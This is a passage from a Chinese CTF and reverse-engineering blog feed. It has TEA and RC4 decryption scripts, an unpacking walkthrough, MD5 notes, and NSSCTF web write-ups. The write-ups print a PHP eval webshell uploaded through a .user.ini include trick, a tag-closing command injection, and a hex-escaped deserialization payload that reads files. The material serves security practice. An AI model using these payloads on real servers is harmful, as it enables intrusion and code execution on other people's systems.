py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs py">enc = [<span class="hljs-number">3976</span>, <span class="hljs-number">5728</span>, <span class="hljs-number">5640</span>, <span class="hljs-number">4232</span>, <span class="hljs-number">5272</span>, <span class="hljs-number">3776</span>, <span class="hljs-number">6464</span>, <span class="hljs-number">6136</span>, <span class="hljs-number">5408</span>]<br>enc1 = [<span class="hljs-number">876</span>, <span class="hljs-number">1147</span>, <span class="hljs-number">1182</span>, <span class="hljs-number">824</span>, <span class="hljs-number">1082</span>, <span class="hljs-number">866</span>, <span class="hljs-number">1361</span>, <span class="hljs-number">1278</span>, <span class="hljs-number">1087</span>]<br>enc2 = [<span class="hljs-number">16511</span>, <span class="hljs-number">24822</span>, <span class="hljs-number">26991</span>, <span class="hljs-number">11999</span>, <span class="hljs-number">21215</span>, <span class="hljs-number">16374</span>, <span class="hljs-number">37800</span>, <span class="hljs-number">32739</span>, <span class="hljs-number">21505</span>]<br><br><span class="hljs-keyword">for</span> l <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">9</span>):<br>    found = <span class="hljs-literal">False</span>  <span class="hljs-comment"># 初始化找到标志</span><br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>, <span class="hljs-number">127</span>):<br>        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>, <span class="hljs-number">127</span>):<br>            <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>, <span class="hljs-number">127</span>):<br>                <span class="hljs-comment"># 使用 and 代替 &amp;</span><br>                <span class="hljs-keyword">if</span> (i * <span class="hljs-number">8</span> + j * <span class="hljs-number">16</span> + k * <span class="hljs-number">32</span> == enc[l] <span class="hljs-keyword">and</span> <br>                    i * <span class="hljs-number">3</span> + j * <span class="hljs-number">4</span> + k * <span class="hljs-number">5</span> == enc1[l] <span class="hljs-keyword">and</span> <br>                    i * j + j * k + k * i == enc2[l]):<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;<span class="hljs-subst">&#123;<span class="hljs-built_in">chr</span>(i)&#125;</span><span class="hljs-subst">&#123;<span class="hljs-built_in">chr</span>(j)&#125;</span><span class="hljs-subst">&#123;<span class="hljs-built_in">chr</span>(k)&#125;</span>&quot;</span>,end=<span class="hljs-string">&quot;&quot;</span>)<br>                    found = <span class="hljs-literal">True</span>  <span class="hljs-comment"># 设置找到标志</span><br>                    <span class="hljs-keyword">break</span>  <span class="hljs-comment"># 跳出内层循环</span><br>            <span class="hljs-keyword">if</span> found:  <span class="hljs-comment"># 如果找到匹配，则跳出中间循环</span><br>                <span class="hljs-keyword">break</span><br>        <span class="hljs-keyword">if</span> found:  <span class="hljs-comment"># 如果找到匹配，则跳出外层循环</span><br>            <span class="hljs-keyword">break</span><br><br></code></pre></td></tr></table></figure><p>SICTF{Exc31_1s_r3@lly_fun!}</p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>nssctf2024秋季回顾</title>
    <link href="/2024/10/31/nssctf2024%E7%A7%8B%E5%AD%A3%E5%9B%9E%E9%A1%BE/"/>
    <url>/2024/10/31/nssctf2024%E7%A7%8B%E5%AD%A3%E5%9B%9E%E9%A1%BE/</url>
    
    <content type="html"><![CDATA[<h1 id="nssctf2024秋季回顾"><a href="#nssctf2024秋季回顾" class="headerlink" title="nssctf2024秋季回顾"></a>nssctf2024秋季回顾</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个比赛也算是打的比较舒服的一个比赛，不过后期有点懈怠了，有许多题都没有看主要是没有什么想法吧，回顾主要是把不会的和想学习的写一下，已经出来的就不打算再写了</p><h2 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h2><h3 id="NSS茶馆"><a href="#NSS茶馆" class="headerlink" title="NSS茶馆"></a>NSS茶馆</h3><p>这个题没想到是tea，最近接触少了，敏感度骤然下降，还是要好好把握一下</p><ul><li>先是查壳<br><img src="https://gitee.com/fogpost/photo/raw/master/202410312022329.png" srcset="/img/loading.gif" lazyload></li><li>老样子32位启动<br><img src="https://gitee.com/fogpost/photo/raw/master/202410312040919.png" srcset="/img/loading.gif" lazyload><br>在这个图中的sub_411118便是我们的解密函数，判断函数<br><img src="https://gitee.com/fogpost/photo/raw/master/202410312046855.png" srcset="/img/loading.gif" lazyload><br>tea本体<br><img src="https://gitee.com/fogpost/photo/raw/master/202410312047549.png" srcset="/img/loading.gif" lazyload><br>解题脚本<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdint.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><br><br><span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(<span class="hljs-type">uint32_t</span>* v,<span class="hljs-type">uint32_t</span> * k)</span></span><br><span class="hljs-function"></span>&#123;<br>    <span class="hljs-type">uint32_t</span> v0=v[<span class="hljs-number">0</span>],v1=v[<span class="hljs-number">1</span>],sum=<span class="hljs-number">1131796</span>*<span class="hljs-number">33</span>, i;<br>    <span class="hljs-type">uint32_t</span> delta=<span class="hljs-number">1131796</span>;<br>    <span class="hljs-type">uint32_t</span> k0=k[<span class="hljs-number">0</span>],k1=k[<span class="hljs-number">1</span>],k2=k[<span class="hljs-number">2</span>],k3=k[<span class="hljs-number">3</span>];<br>    <span class="hljs-keyword">for</span> (i=<span class="hljs-number">0</span>; i&lt;<span class="hljs-number">33</span>; i++)&#123;<br>        v1-=((v0&lt;&lt;<span class="hljs-number">4</span>)+k2)^(v0+sum)^((v0&gt;&gt;<span class="hljs-number">5</span>)+k3);<br>        v0-=((v1&lt;&lt;<span class="hljs-number">4</span>)+k0)^(v1+sum)^((v1&gt;&gt;<span class="hljs-number">5</span>)+k1);<br>        sum -=delta;<br>    &#125;<br>    v[<span class="hljs-number">0</span>]=v0;v[<span class="hljs-number">1</span>]=v1;<br>&#125;<br><br><span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span> &#123;<br>    <span class="hljs-type">uint32_t</span> values[<span class="hljs-number">2</span>];<br>&#125; Data;<br><br><span class="hljs-comment">// unsigned char enc[] =</span><br><span class="hljs-comment">// &#123;</span><br><span class="hljs-comment">//   0x65, 0xD2, 0x26, 0x3A, 0xB6, 0xA0, 0xD9, 0x81, 0x2A, 0x00, </span><br><span class="hljs-comment">//   0x5E, 0x0E, 0xE5, 0xEF, 0x07, 0x39, 0x57, 0xBC, 0xB6, 0x71, </span><br><span class="hljs-comment">//   0xA2, 0x0D, 0xAC, 0xE0</span><br><span class="hljs-comment">// &#125;;</span><br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>&#123;<br>    Data v[<span class="hljs-number">3</span>]=&#123;&#123;<span class="hljs-number">0x3A26D265</span>,<span class="hljs-number">0x81D9A0B6</span>&#125;,&#123;<span class="hljs-number">0x0E5E002A</span>,<span class="hljs-number">0x3907EFE5</span>&#125;,&#123;<span class="hljs-number">0x71B6BC57</span>,<span class="hljs-number">0xE0AC0DA2</span>&#125;&#125;;<br>    <span class="hljs-type">uint32_t</span> k[<span class="hljs-number">4</span>]=&#123;<span class="hljs-number">0x0B</span>, <span class="hljs-number">0x16</span>, <span class="hljs-number">0x21</span>, <span class="hljs-number">0x2C</span>&#125;;<br>    <span class="hljs-keyword">for</span> (<span class="hljs-type">size_t</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; i++)<br>    &#123;<br>        <span class="hljs-built_in">decrypt</span>(v[i].values,k);<br>        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;decrtp:%x %x\n&quot;</span>,v[i].values[<span class="hljs-number">0</span>],v[i].values[<span class="hljs-number">1</span>]);<br>    &#125;<br>    <br>    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br></code></pre></td></tr></table></figure>结果是这个<br>decrtp:4e535343 54467b74<br>decrtp:65615f69 735f736f<br>decrtp:5f656173 7921217d<br>直接就是hex转chr了<br><img src="https://gitee.com/fogpost/photo/raw/master/202410312118868.png" srcset="/img/loading.gif" lazyload><br>NSSCTF{tea_is_so_easy!!}</li></ul><h3 id="MD5爆破"><a href="#MD5爆破" class="headerlink" title="MD5爆破"></a>MD5爆破</h3><p>纯手撸，题解也看不懂，脚本都跑不动</p><h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="怎么多了个没用的php文件"><a href="#怎么多了个没用的php文件" class="headerlink" title="怎么多了个没用的php文件"></a>怎么多了个没用的php文件</h3><p>开头就是一个文件上传页面<br><img src="https://gitee.com/fogpost/photo/raw/master/202411011425977.png" srcset="/img/loading.gif" lazyload><br>我们选择一个文件直接上传，png可以上传，对php有过滤<br><img src="https://gitee.com/fogpost/photo/raw/master/202411011439740.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411011440878.png" srcset="/img/loading.gif" lazyload><br>然后我们尝试抓包并修改数据，可以成功上传，尝试访问<br><img src="https://gitee.com/fogpost/photo/raw/master/202411011442332.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411011442165.png" srcset="/img/loading.gif" lazyload><br>其中也尝试了其他的后缀，不过可以上传但是不可以解析，按照别人的wp来看，好像是uploads目录下有一个notion.php文件<br><img src="https://gitee.com/fogpost/photo/raw/master/202411011454711.png" srcset="/img/loading.gif" lazyload><br>尝试上传.user.ini</p><blockquote><p>.user.ini 是⼀个⽤户⾃定义的php.ini ⽂件，会在其所在的当前⽬录⽣效，优先级⾼于php.ini<br>在user.ini中写⼊以下内容<br>auto_prepend_file &#x3D; &lt;filename&gt;    &#x2F;&#x2F;包含在⽂件头<br>auto_append_file &#x3D; &lt;filename&gt;      &#x2F;&#x2F;包含在⽂件尾<br>写⼊其中⼀个即可<br>&lt;filename&gt;就写成需要包含的⽂件名，后缀任意上传后，该⽬录下的php⽂件就会⾃动包含&lt;filename&gt;<br>.user.ini</p></blockquote><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs ini"><span class="hljs-attr">auto_prepend_file</span> = 外部文件包含.png<br><span class="hljs-attr">auto_append_file</span> = 外部文件包含.png <br></code></pre></td></tr></table></figure><p>外部文件包含.png</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-number">0</span>]);<span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>利用蚁剑成功连接<br><img src="https://gitee.com/fogpost/photo/raw/master/202411011528057.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411011529825.png" srcset="/img/loading.gif" lazyload><br>NSSCTF{11822be1-0c76-4bc8-9f67-82fcf3f3ec33}</p><h3 id="未选择的路"><a href="#未选择的路" class="headerlink" title="未选择的路"></a>未选择的路</h3><p>打开环境</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-comment">//一片森林里分出两条路————而我选择了人迹更少的一条，从此决定了我一生的道路。</span><br><span class="hljs-title function_ invoke__">Include</span>(<span class="hljs-string">&#x27;check.php&#x27;</span>);<br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><br><span class="hljs-variable">$A</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;easy&#x27;</span>];<br><span class="hljs-variable">$B</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;hard&#x27;</span>];<br><br><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$A</span>))&#123;<br><span class="hljs-keyword">eval</span>(<span class="hljs-string">&#x27;e&#x27;</span>.<span class="hljs-string">&#x27;x&#x27;</span>.<span class="hljs-string">&#x27;i&#x27;</span>.<span class="hljs-string">&#x27;t&#x27;</span>.<span class="hljs-string">&#x27;(); ?&gt;&#x27;</span>.<span class="hljs-variable">$A</span>.<span class="hljs-string">&#x27;&lt;?php ;&#x27;</span>);<span class="hljs-comment">//这条路没有任何过滤诶，是不是好走一些</span><br>&#125;<br><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$B</span>))&#123;<br><span class="hljs-title function_ invoke__">check</span>(<span class="hljs-variable">$B</span>);<span class="hljs-comment">//要被正则了，嘤嘤嘤</span><br><span class="hljs-keyword">eval</span>(<span class="hljs-string">&quot;#cmd&quot;</span>.<span class="hljs-variable">$B</span>.<span class="hljs-string">&quot;inject&quot;</span>);<span class="hljs-comment">//这条路怎么还要禁我东西啊，真下头</span><br>&#125;<br></code></pre></td></tr></table></figure><p>先用hard走 hard&#x3D;system，不过会显示passthru和system被禁用了，使用?&gt;反引号加闭合?hard&#x3D;?&gt;&lt;?php echo `id`;?&gt;(这个不是引号，这个是反引号)<br>这个时候id就是可以执行得命令有点感觉是将前面得过滤，重新插了一个新得php进来执行完成绕过<br>尝试一下easy，好像会直接结束，方式就是在hard过滤</p><h3 id="Maxser-Revenge"><a href="#Maxser-Revenge" class="headerlink" title="Maxser Revenge"></a>Maxser Revenge</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br> <span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br> <span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br> <span class="hljs-keyword">include</span>(<span class="hljs-string">&#x27;check.php&#x27;</span>);<br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">passthru</span></span>&#123;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$S</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$dir</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br> <span class="hljs-variable language_">$this</span>-&gt;dir=<span class="hljs-string">&#x27;notion&#x27;</span>;<br> &#125;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>&#123;<br> <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;S);<br> &#125;<br> &#125;<br> <span class="hljs-variable">$a</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;NSS&#x27;</span>];<br> <span class="hljs-title function_ invoke__">check</span>(<span class="hljs-variable">$a</span>);<br> <span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$a</span>);<br></code></pre></td></tr></table></figure><p>一道反序列化题目,我们尝试简单构建pop链，发现存在过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$a</span>=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">passthru</span>();<br><span class="hljs-variable">$a</span>-&gt;S=<span class="hljs-string">&quot;system(&#x27;ls /&#x27;)&quot;</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);<br>    O:<span class="hljs-number">8</span>:<span class="hljs-string">&quot;passthru&quot;</span>:<span class="hljs-number">2</span>:&#123;s:<span class="hljs-number">1</span>:<span class="hljs-string">&quot;S&quot;</span>;s:<span class="hljs-number">14</span>:<span class="hljs-string">&quot;system(&#x27;ls /&#x27;)&quot;</span>;s:<span class="hljs-number">3</span>:<span class="hljs-string">&quot;dir&quot;</span>;N;&#125;<br></code></pre></td></tr></table></figure><p><img src="https://gitee.com/fogpost/photo/raw/master/202411041446655.png" srcset="/img/loading.gif" lazyload><br>利用passthru过滤，转换成16进制来过滤</p><blockquote><p>passthru(“cat &#x2F;f*”)这个转化成16进制不会产生字母<br>70 61 73 73 74 68 72 75 28 22 63 61 74 20 2F 66 2A 22 29<br>2f和2a换成&#x2F;和<em>这两个直接用<br>O:8:”passthru”:2:{s:1:”S”;S:20:”\70\61\73\73\74\68\72\75\28\22\63\61\74\20&#x2F;\66</em>\22\29;”;s:3:”dir”;N;}直接修改，并用大写S来支持字符串得编码</p></blockquote><h3 id="The-future-Revenge"><a href="#The-future-Revenge" class="headerlink" title="The future Revenge"></a>The future Revenge</h3><p>考点CVE-2024-2961<br><a href="https://blog.csdn.net/jennycisp/article/details/140148391">https://blog.csdn.net/jennycisp/article/details/140148391</a><br><a href="https://err0r233.github.io/posts/28510.html">https://err0r233.github.io/posts/28510.html</a> (要梯子)</p><h3 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h3><p>点击后就是这个界面<br><img src="https://gitee.com/fogpost/photo/raw/master/202411071924871.png" srcset="/img/loading.gif" lazyload><br>我们点击sign,最后一个博客地址判断存在ssrf<br><img src="https://gitee.com/fogpost/photo/raw/master/202411071925412.png" srcset="/img/loading.gif" lazyload><br>我们查看源码,index.php、submit.php、save_user.php、show_blog.php,存在这么几个文件<br><img src="https://gitee.com/fogpost/photo/raw/master/202411071927695.png" srcset="/img/loading.gif" lazyload><br>这个好像涉及ssrf了,本人不是很懂,现在先暂停一下,之后补上来</p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>od脱壳脚本的使用与编写</title>
    <link href="/2024/10/29/od%E8%84%B1%E5%A3%B3%E8%84%9A%E6%9C%AC%E7%9A%84%E4%BD%BF%E7%94%A8%E4%B8%8E%E7%BC%96%E5%86%99/"/>
    <url>/2024/10/29/od%E8%84%B1%E5%A3%B3%E8%84%9A%E6%9C%AC%E7%9A%84%E4%BD%BF%E7%94%A8%E4%B8%8E%E7%BC%96%E5%86%99/</url>
    
    <content type="html"><![CDATA[<h1 id="od脱壳脚本的使用与编写"><a href="#od脱壳脚本的使用与编写" class="headerlink" title="od脱壳脚本的使用与编写"></a>od脱壳脚本的使用与编写</h1><p>我们的软件取自<a href="https://www.52pojie.cn/thread-422100-1-1.html">52破解</a><br>第一步查壳，并且丢到idapro中看看有什么<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292248198.png" srcset="/img/loading.gif" lazyload><br>可见这个软件是由tElock压缩过的<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292249831.png" srcset="/img/loading.gif" lazyload><br>Idapro也是不负众望的啥也没扫出来，我们od加载一下，这里注意看一下内存加载，基地址是400000，这代表了我们关闭了ALSR这点对我们后面的脱壳很重要<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292251590.png" srcset="/img/loading.gif" lazyload><br>在单步运行到这里时，我们程序会直接跑飞<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292253699.png" srcset="/img/loading.gif" lazyload><br>下断点键入后，逐步步过，发现出现下面这个弹窗，表示本程序是有程序自校验，这里有两个方法，一是找到自校验方式nop掉，二是在每次键入时将断点取消，这也是一个好习惯<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292254330.png" srcset="/img/loading.gif" lazyload><br>看下图发现，此程序还有对调试器的检测，我们这里开启了od的内核插件，但是好像在win10不起作用，没有防止检测，可以选择用win7，来加载<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292303768.png" srcset="/img/loading.gif" lazyload><br>我们重新加载文件，在此处发现对od检测的jmp函数我们将这个函数进行nop即可正常进入软件<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292321969.png" srcset="/img/loading.gif" lazyload><br>如果刚刚没有nop那么我们在下面这个图便会跳转到exitprocess进程结束<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292321971.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>rc4</title>
    <link href="/2024/10/28/rc4/"/>
    <url>/2024/10/28/rc4/</url>
    
    <content type="html"><![CDATA[<h1 id="RC4"><a href="#RC4" class="headerlink" title="RC4"></a>RC4</h1><p>写题过程中会出现像rc4这种简单的对称加密算法，在此留下对应的解密脚本<br>由于初始化的s盒和产生的密钥流是由固定的密钥确定，并且加密的本质是异或所以为对称的<br>rc4加密主要分为三个部分</p><ul><li>初始化s盒</li><li>生成密钥流</li><li>加密</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">KSA</span>(<span class="hljs-params">key</span>):<br>    key_length = <span class="hljs-built_in">len</span>(key)<br><br>    <span class="hljs-comment"># 初始化S盒</span><br>    S = <span class="hljs-built_in">list</span>(<span class="hljs-built_in">range</span>(<span class="hljs-number">256</span>))<br>    j = <span class="hljs-number">0</span><br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">256</span>):<br>        j = (j + S[i] + key[i % key_length]) % <span class="hljs-number">256</span><br>        S[i], S[j] = S[j], S[i]<br><br>    <span class="hljs-keyword">return</span> S<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">PRGA</span>(<span class="hljs-params">S</span>):<br>    i = <span class="hljs-number">0</span><br>    j = <span class="hljs-number">0</span><br>    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>        i = (i + <span class="hljs-number">1</span>) % <span class="hljs-number">256</span><br>        j = (j + S[i]) % <span class="hljs-number">256</span><br>        S[i], S[j] = S[j], S[i]<br>        K = S[(S[i] + S[j]) % <span class="hljs-number">256</span>]<br>        <span class="hljs-keyword">yield</span> K<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">RC4</span>(<span class="hljs-params">key, data</span>):<br>    S = KSA(key)<br>    keystream = PRGA(S)<br>    res = []<br>    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> data:<br>        res.append(c ^ <span class="hljs-built_in">next</span>(keystream))<br>    <span class="hljs-keyword">return</span> <span class="hljs-built_in">bytes</span>(res)<br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>逆向算法</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>hash</title>
    <link href="/2024/10/28/hash/"/>
    <url>/2024/10/28/hash/</url>
    
    <content type="html"><![CDATA[<h1 id="hash算法"><a href="#hash算法" class="headerlink" title="hash算法"></a>hash算法</h1><p>打算了解一下各个hash算法的细节，防止在看到伪代码时不认识</p><h2 id="MD5"><a href="#MD5" class="headerlink" title="MD5"></a>MD5</h2><h3 id="MD5加密原理步骤"><a href="#MD5加密原理步骤" class="headerlink" title="MD5加密原理步骤"></a>MD5加密原理步骤</h3><ol><li>在MD5算法中，首先需要对信息进行填充，使其位长对512求余的结果等于448，并且填充必须进行(N*512+448)</li><li>初始化变量,以大端字节序来表示，他们分别为： A&#x3D;0x01234567，B&#x3D;0x89ABCDEF，C&#x3D;0xFEDCBA98，D&#x3D;0x76543210（每一个变量给出的数值是高字节存于内存低地址，低字节存于内存高地址，即大端字节序。在程序中变量A、B、C、D的值分别为0x67452301，0xEFCDAB89，0x98BADCFE，0x10325476）</li><li>处理分组数据<br>以下是每次操作中用到的四个非线性函数（每轮一个）。<br>F( X ,Y ,Z ) &#x3D; ( X &amp; Y ) | ( (<del>X) &amp; Z )<br>G( X ,Y ,Z ) &#x3D; ( X &amp; Z ) | ( Y &amp; (</del>Z) )<br>H( X ,Y ,Z ) &#x3D;X ^ Y ^ Z<br>I( X ,Y ,Z ) &#x3D;Y ^ ( X | (~Z) )</li></ol><ul><li>MD5 是一种基于迭代和压缩的哈希函数，其核心是对输入数据进行多轮的位运算和逻辑操作。</li><li>常量值：MD5 使用特定的常量（如 0x67452301, 0xEFCDAB89 等）在计算过程中。如果在代码中看到这些特定的常量，特别是在加法操作中，通常指向 MD5 或类似算法。</li><li>处理输入数据的方式：MD5 通常处理输入数据为 512 位（64 字节）块，将每个块分为多个 32 位（4 字节）单元进行处理。</li></ul>]]></content>
    
    
    <categories>
      
      <category>逆向算法</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>bindiff</title>
    <link href="/2024/10/28/bindiff/"/>
    <url>/2024/10/28/bindiff/</url>
    
    <content type="html"><![CDATA[<h1 id="用bindiff来显示二进制文件的区别"><a href="#用bindiff来显示二进制文件的区别" class="headerlink" title="用bindiff来显示二进制文件的区别"></a>用bindiff来显示二进制文件的区别</h1><p>你是否在面对收到攻击的二进制文件无法比对，看着两个文件而陷入迷茫，不知如何分析，沉沦在函数之海无法自拔，找不到patcher前后的区别，那么bindiff可以帮助你。</p><h3 id="1-自行安装"><a href="#1-自行安装" class="headerlink" title="1. 自行安装"></a>1. 自行安装</h3><h3 id="2-使用"><a href="#2-使用" class="headerlink" title="2.使用"></a>2.使用</h3><p>首先我们打开一个我们所需要分析的软件，在ida完成分析之后我们退出将对应的.ida64包文件保存，然后加载patcher后的文件，在ida中键入crtl+6，使用bindiff插件<br><img src="https://gitee.com/fogpost/photo/raw/master/202410281503232.png" srcset="/img/loading.gif" lazyload><br>选择Diff DAtabase，选择刚刚保存的.ida64文件,出现对应的对比框<br><img src="https://gitee.com/fogpost/photo/raw/master/202410281504805.png" srcset="/img/loading.gif" lazyload><br>在这个绿色框口下我们发现，在最下方的函数extract_dirs_from_files，与原来的文件对比，有仅0.84的相似度，我们便可以知道两个二进制文件在这个函数发生了区别<br><img src="https://gitee.com/fogpost/photo/raw/master/202410281506283.png" srcset="/img/loading.gif" lazyload><br>查看函数,在patcher中发现多了如下一个分支</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 